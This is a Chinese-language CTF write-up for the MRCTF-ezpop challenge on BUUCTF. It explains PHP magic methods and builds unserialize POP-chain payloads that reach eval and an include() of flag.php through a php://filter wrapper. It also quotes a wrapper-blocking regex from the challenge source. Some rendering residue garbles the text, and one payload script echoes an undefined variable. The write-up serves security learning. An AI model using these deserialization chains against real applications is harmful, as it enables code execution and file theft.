前言 
复现地址:BUUCTF平台  题目:MRCTF-ezpop  
魔法函数 
__construct():具有构造函数的类在创建新对象时,回调用此方法
__destruct():在对象所有引用都被删除或者对象被销毁时执行
__wakeup():使用unserialize()函数时调用
__sleep():使用serialize()函数时调用
__toString():把类当作字符串时调用,一般在echo和print时才能生效
__invoke():当尝试以调用函数的方式调用对象时,就会调用方法
__set():在给不可访问(protected 或 private)或不存在的属性赋值时, 会被调用
__get():读取不可访问(protected 或 private)或不存在的属性的值时,会被调用
__isset():当对不可访问(protected 或 private)或不存在的属性调用 isset() 或 empty() 时,会被调用
__unset():当对不可访问(protected 或 private)或不存在的属性调用 unset() 时,会被调用
__call():在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic():在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
  
__toString() 
<?php
class TestClass
{
    public $foo;
    public function __construct($foo) 
    {
        $this->foo = $foo;
    }
    public function __toString() {
        return $this->foo;
    }
}
$class = new TestClass('Hello');
echo $class;
?>
当class对象被echo时,就会输出调用此方法
注意:PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echo 或 print 时才能生效。PHP 5.2.0 之后,则可以在任何字符串环境生效(例如通过 printf(),使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。
  
__invoke() 
<?php
class CallableClass 
{
    function __invoke($x) {
        var_dump($x);
    }
}
$obj = new CallableClass;
$obj(5);
var_dump(is_callable($obj));
?>
输出:int(5)
bool(true)
  
__call()和__callStatic() 
<?php
class MethodTest 
{
    public function __call($name, $arguments) 
    {
        
        echo "Calling object method '$name' "
             . implode(', ', $arguments). "\n";
    }
    public static function __callStatic($name, $arguments) 
    {
        
        echo "Calling static method '$name' "
             . implode(', ', $arguments). "\n";
    }
}
$obj = new MethodTest;
$obj->runTest('in object context');
MethodTest::runTest('in static context');
?>
输出
Calling object method 'runTest' in object context
Calling static method 'runTest' in static context
  
pop链 
反序列化可以去控制类的属性和方法,所以通过反序列化可以改变程序原本的意思  
pop链的利用  一般简单的反序列化都是魔法函数中出现的一些利用的漏洞,因为自动去调用魔法方法而产生漏洞,但如果关键代码不在魔术方法中,而在一个类的一个普通方法中,则需要通过寻找相同的函数名将类的属性和敏感函数连接起来  
一个简单的例子 
<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new normal();
    }
    function __destruct() {
        $this->ClassObj->action();
    }
}
class normal {
    function action() {
        echo "hello";
    }
}
class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
unserialize($_GET['d']);
  
lemon这个类原本是调用,normal类的,但是现在需要调用evil中的eval实现命令执行。而action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法,从而实现命令执行。  payload  
<?php
class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
注意protected和private属性的处理。
  
MRCTF-ezpop 
源码  
Welcome to index.php
<?php
%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  
我们逆向分析,需要调用Modifier中的include函数,实现对flag.php的包含  采用php://filter/read=convert.base64-encode/resource=flag.php  
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
  
需要append函数,就要__invoke函数,当我们尝试将对象调用为函数时,就会自动包含$var,所以也要对$var进行处理  
Test类,看到__get(),当我们访问不可访问的属性时,就会调用__get()方法中的$p,这时,我们可以使用$p来引入Modifier类  
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
  
怎么才可以实现访问不可访问的属性呢?  Show类  
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
  
show中__toString()属性,可以访问自身属性str的source。  所以我们使用show中的str属性来new一个Test类,而Test类没有source属性,就可以达到__get()方法的实现。  关键代码:return $this->str->source;  
那么我们new的Test就会以函数的方式调用
    
     
      
       
        p
       
       
        那
       
       
        么
       
       
        如
       
       
        果
       
      
      
       p那么如果
      
     
    p那么如果p又是一个Modifier类,就会自动包含$var指向的页面。  
<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$pop = new Show;
$pop->source = new Show;
$pop->source->str = new Test;
$pop->source->str->p = new Modifier;
echo urlencode(serialize($poc));
  
$pop->source = new Show;
  
还有个payload,y4爷的  
<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        $this->str = new Test();
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
 
                
                
                
        
    
 
 |